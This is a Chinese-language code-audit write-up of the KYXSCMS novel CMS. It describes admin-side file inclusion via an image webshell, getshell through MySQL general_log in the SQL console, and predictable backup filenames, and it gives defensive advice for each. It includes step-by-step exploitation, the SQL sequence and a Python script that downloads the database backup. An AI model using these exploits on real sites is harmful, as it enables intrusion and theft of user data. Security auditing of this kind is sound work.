狂雨cms代码审计:后台文件包含getshell
字数 1746 2025-08-25 22:58:28
狂雨CMS代码审计与漏洞利用分析
1. 系统概述
狂雨小说内容管理系统(KYXSCMS)是一款基于ThinkPHP5.1+MySQL技术开发的小说类网站解决方案。该系统特点包括:
- 轻量级设计
- 快速建站(5分钟即可建立小说网站)
- 支持批量采集和数据联盟
- 内置标签模板,前端友好
2. 漏洞分析
2.1 后台文件包含漏洞
漏洞原理
系统后台提供模板编辑功能,可利用ThinkPHP模板语法实现文件包含攻击。
利用步骤:
-
上传图片马:
- 在"设置->上传logo"处上传包含PHP代码的图片文件
- 注意:不能使用用户头像上传功能(会进行图片缩放破坏代码)
- 图片马内容示例:
<?php phpinfo(); ?>(必须包含闭合标签?>)
-
修改模板文件:
- 进入后台模板功能
- 编辑index.html(主页模板)
- 添加模板代码:
{include file="uploads/config/20200325/033966a7d27975812915522464e252a3.jpg" /} - 注意:路径不能以
/开头
-
触发漏洞:
- 访问网站首页即可执行图片马中的PHP代码
漏洞代码分析:
- 入口:
application/admin/controller/Template.php->edit() - 调用链:
Template.php->edit()调用File::put()extend/org/File.php中的put()方法直接写入文件内容,无任何过滤
防御建议:
- 对上传文件内容进行检查
- 对图片文件进行缩放等处理破坏恶意代码
- 限制模板文件可包含的文件路径
2.2 SQL代码执行漏洞
漏洞原理:
后台提供SQL执行功能,可利用MySQL的general_log功能实现getshell。
利用步骤:
- 执行以下SQL语句序列:
set global general_log=On;
set global general_log_file="D:\\phpstudy_pro\\WWW\\123.php";
create table tmp (value varchar(25));
insert into tmp (value) values ("<?php phpinfo(); ?>");
drop table tmp;
set global general_log=Off;
- 访问生成的日志文件
123.php即可执行PHP代码
漏洞代码分析:
- 入口:
application/admin/controller/Tool.php->sqlexecute() - 关键问题:
- 直接执行用户输入的SQL语句
- 仅过滤了SELECT语句(前6字符为"select"时不执行)
防御建议:
- 移除后台SQL执行功能
- 如必须保留,应限制只能执行SELECT查询
- 设置MySQL的secure_file_priv限制文件导出
2.3 后台数据泄露漏洞
漏洞原理:
数据库备份功能生成的文件名可预测,导致可爆破下载数据库备份文件。
利用步骤:
- 通过备份功能生成数据库备份
- 备份文件命名规则:
时间戳-部分编号.sql.gz- 示例:
20200325-033966-1.sql.gz
- 示例:
- 爆破文件名下载数据库备份
漏洞代码分析:
- 入口:
application/admin/controller/Database.php->export() - 文件生成逻辑:
extend/databasec/Databasec.php中的create()和write()方法- 文件名格式:
{$backuppath}{$this->file['name']}-{$this->file['part']}.sql(.gz) file['name']为格式化时间(date('Ymd-His'))file['part']固定从1开始
防御建议:
- 使用随机字符串作为文件名
- 将备份文件信息通过邮件或短信发送给管理员
- 限制备份文件目录的访问权限
3. 系统架构分析
主要目录结构:
addons/ 插件代码
application/ 主要后端代码
config/ 配置文件
extend/ 基础类文件
public/ 静态文件
route/ 路由
runtime/ 缓存
template/ 模板文件
thinkphp/ thinkphp框架
uploads/ 上传文件
4. 总结与建议
发现的主要问题:
- 后台功能缺乏足够的安全限制
- 用户输入未充分过滤
- 敏感操作缺乏二次验证
- 安全设计考虑不足(如可预测的文件名)
整体安全建议:
- 实施最小权限原则,限制后台功能
- 对所有用户输入进行严格过滤
- 敏感操作增加验证机制
- 使用不可预测的随机字符串作为文件名
- 定期进行安全审计和代码审查
开发者注意事项:
- 避免在后台提供高危功能(如SQL执行)
- 文件操作要限制路径和权限
- 上传功能应进行内容检查和格式转换
- 错误信息不应泄露系统细节
5. 漏洞利用EXP示例
数据库备份下载EXP(Python):
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
import time
def getDatabase(url,username, password):
session = requests.session()
# 登录
u = f'http://{url}/admin/index/login.html'
head = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
data = {'username': username, 'password': password, 'code': 1}
session.post(u, data, headers = head)
# 触发备份
u = f'http://{url}/admin/database/export.html'
data = {
'layTableCheckbox':'on',
'tables[0]':'ky_ad',
# ... 其他表 ...
'tables[18]':'ky_user_menu'
}
t = time.strftime("%Y%m%d-%H%M%S", time.localtime())
session.post(u, data = data)
# 生成备份文件路径
return f'http://{url}/public/database/{t}-1.sql.gz'
if __name__ == '__main__':
u = '127.0.0.1'
username = 'admin'
password = 'admin'
t = getDatabase(u, username, password)
print(t)
注意:实际使用时需要处理验证码或修改代码绕过验证。